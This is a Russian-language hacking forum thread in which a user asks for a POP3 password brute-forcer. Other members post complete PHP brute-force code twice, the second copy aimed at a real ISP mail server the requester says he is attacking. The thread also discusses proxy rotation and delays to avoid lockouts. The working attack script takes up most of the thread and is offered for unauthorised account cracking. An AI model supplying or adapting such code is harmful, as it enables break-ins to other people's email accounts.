Нужен скрипт на пхп иле перл.

Discussion in 'PHP' started by Mo4x, 31 Jul 2007.

  1. Mo4x

    Mo4x VX-эпоха перемен

    Joined:
    18 Feb 2007
    Messages:
    369
    Likes Received:
    194
    Reputations:
    -21
    сем привет,я очень нуждаюсь в скрипте для брута поп3 на пхп иле перл.
    омогите кто может.
     
  2. halkfild

    halkfild Members of Antichat

    Joined:
    11 Nov 2005
    Messages:
    365
    Likes Received:
    578
    Reputations:
    313
    вот елементарный пример.. мона прикрутить поддержку проксей и тд..

    PHP:
    <?
    /*

    Simple POP3 Bruter v 0.2

    30/05/05 (с) drmist

    */

    $port=110;
    $host='127.0.0.1';
    $login='user';
    $passwords="passwords.txt";

    set_time_limit(0);

    $FID=fopen($passwords,"r");

    while(!
    feof($FID))
    {
     
    $pass=str_replace("\r","",fgets($FID));
     
    $pass=str_replace("\n","",$pass);
     
     echo 
    "$pass<br>\r\n";
     
    flush();
     
     
    $s=fsockopen($host$port);
     
     if(!
    $s)
        die(
    "Не могу соединиться <b>[$host:$port]</b>!");
     
     
    $line=fread($s256);

      if(!
    ereg("\+OK(.*)",$line)) 
        die(
    "Хрень какая-то. Ты точно на pop сервер коннектишься?");

     
    fputs($s,"USER $login\r\n");

     
    $line=fread($s256);
     
     if(
    ereg("-ERR(.*)",$line))
       die(
    "Неверный логин <b>$login</b>!");

     
    fputs($s,"PASS $pass\r\n");
     
     
    $line=fread($s256);

     if(!
    ereg("-ERR(.*)",$line))
       die(
    "Пароль найден: <b>$pass</b>!");

     
    fclose($s);
    }

    echo 
    "Работа завершина. Пароль не найден =((";

    ?>
    взято отсюда
    _http://www.security-teams.net/board/index.php?act=ST&f=15&t=1063
    (с) drmist
     
    _________________________
  3. Mo4x

    Mo4x VX-эпоха перемен

    Joined:
    18 Feb 2007
    Messages:
    369
    Likes Received:
    194
    Reputations:
    -21
    halkfild,Проверяй работоспособность скриптов :) ато этот не работает.
     
    1 person likes this.
  4. D Mak

    D Mak Elder - Старейшина

    Joined:
    23 Jun 2007
    Messages:
    136
    Likes Received:
    27
    Reputations:
    0
    все работает, тока что проверил
    или ты локалхост брутить пытаешься?))
     
  5. Y.Dmitriy

    Y.Dmitriy Banned

    Joined:
    14 Mar 2007
    Messages:
    208
    Likes Received:
    85
    Reputations:
    16
    Жалко что проксиков нет(хотя на халяву не так уж и сложно написать) а толку без них никакого ибо больше пяти запросов(к почте) ты вряд ли пошлёшь - забанять...
     
  6. C!klodoL

    C!klodoL Elder - Старейшина

    Joined:
    5 Jun 2007
    Messages:
    302
    Likes Received:
    208
    Reputations:
    4
    а еще один цикл со сменой прокси трудно дописать? а вообще чтобы через прокси брутить их понадобятся тысячи
     
  7. Mo4x

    Mo4x VX-эпоха перемен

    Joined:
    18 Feb 2007
    Messages:
    369
    Likes Received:
    194
    Reputations:
    -21
    D Mak
    Проверь хорошо есле скрипт пашет .
    Пытаюсь брутить на хост 194,90,5,5 netvision.net.il можеш попробывать.
     
  8. halkfild

    halkfild Members of Antichat

    Joined:
    11 Nov 2005
    Messages:
    365
    Likes Received:
    578
    Reputations:
    313
    вроде работает.. пропиши адресс сервера и юзай..
     
    _________________________
  9. LolFEm

    LolFEm Elder - Старейшина

    Joined:
    8 Sep 2006
    Messages:
    160
    Likes Received:
    52
    Reputations:
    5
    Интересно узнать бы через сколько запросов неверных POP3 банит входящие соединения... и в случаее чего всё таки можно Sleep() прикрутить , если всё таки с проксиками нехочеться замарачиваться....
     
  10. D Mak

    D Mak Elder - Старейшина

    Joined:
    23 Jun 2007
    Messages:
    136
    Likes Received:
    27
    Reputations:
    0
    Mo4x™ ? действительно, у мня первый пасс выдавал..
    щас испробуй..

    PHP:
    <? 
    /* 

    Simple POP3 Bruter v 0.2 

    30/05/05 (с) drmist 

    */ 

    $port=110
    $host='pop3.netvision.net.il'
    $login='login'
    $passwords="passwords.txt"

    set_time_limit(0); 

    $FID=fopen($passwords,"r"); 

    while(!
    feof($FID)) 

     
    $pass=str_replace("\r","",fgets($FID)); 
     
    $pass=str_replace("\n","",$pass); 
      
     echo 
    "$pass<br>\r\n"
     
    flush(); 
      
     
    $s=fsockopen($host$port); 
      
     if(!
    $s
        die(
    "Не могу соединиться <b>[$host:$port]</b>!"); 
      
     
    $line=fread($s256); 

      if(!
    ereg("\+OK(.*)",$line))  
        die(
    "Хрень какая-то. Ты точно на pop сервер коннектишься?"); 

     
    fputs($s,"USER $login\r\n"); 

     
    $line=fread($s256); 
     
     if(
    ereg("-ERR(.*)",$line)) 
       die(
    "Неверный логин <b>$login</b>!"); 

     
    fputs($s,"PASS $pass\r\n"); 
      
     
    $line=fread($s256); 

     if(
    ereg("(OK)",$line)) 
       die(
    "Пароль найден: <b>$pass</b>!"); 

     
    fclose($s); 


    echo 
    "Работа завершина. Пароль не найден =(("

    ?>
     
  11. halkfild

    halkfild Members of Antichat

    Joined:
    11 Nov 2005
    Messages:
    365
    Likes Received:
    578
    Reputations:
    313
    D Mak
    только укажи свой логин на этом почтовике..
    и дав список пасов вместе с своим :) тогда и мы сбрутим..
     
    _________________________
  12. Helios

    Helios Elder - Старейшина

    Joined:
    14 Jan 2007
    Messages:
    414
    Likes Received:
    180
    Reputations:
    103
    Юзай поиск по форуму

    http://forum.antichat.ru/thread45421-pop3.html
     
  13. Mo4x

    Mo4x VX-эпоха перемен

    Joined:
    18 Feb 2007
    Messages:
    369
    Likes Received:
    194
    Reputations:
    -21
    Helios, пробовал тоже но я не очень выдающи программист инезнаю как надо менять в этом scriot's запросы к серверу и как анализировать его ответ .Есле ктото може помочь с запросами на сервер стучите в аську 343637
    D Mak,не непашет :(
     
    #13 Mo4x, 1 Aug 2007
    Last edited: 1 Aug 2007
  14. Mo4x

    Mo4x VX-эпоха перемен

    Joined:
    18 Feb 2007
    Messages:
    369
    Likes Received:
    194
    Reputations:
    -21
    Помогите разобраться с запросами на сервер иле дайте что нить почитать про то как делать брут поп3 ...
     
  15. D Mak

    D Mak Elder - Старейшина

    Joined:
    23 Jun 2007
    Messages:
    136
    Likes Received:
    27
    Reputations:
    0
    испытать запросы можешь вручную через телнет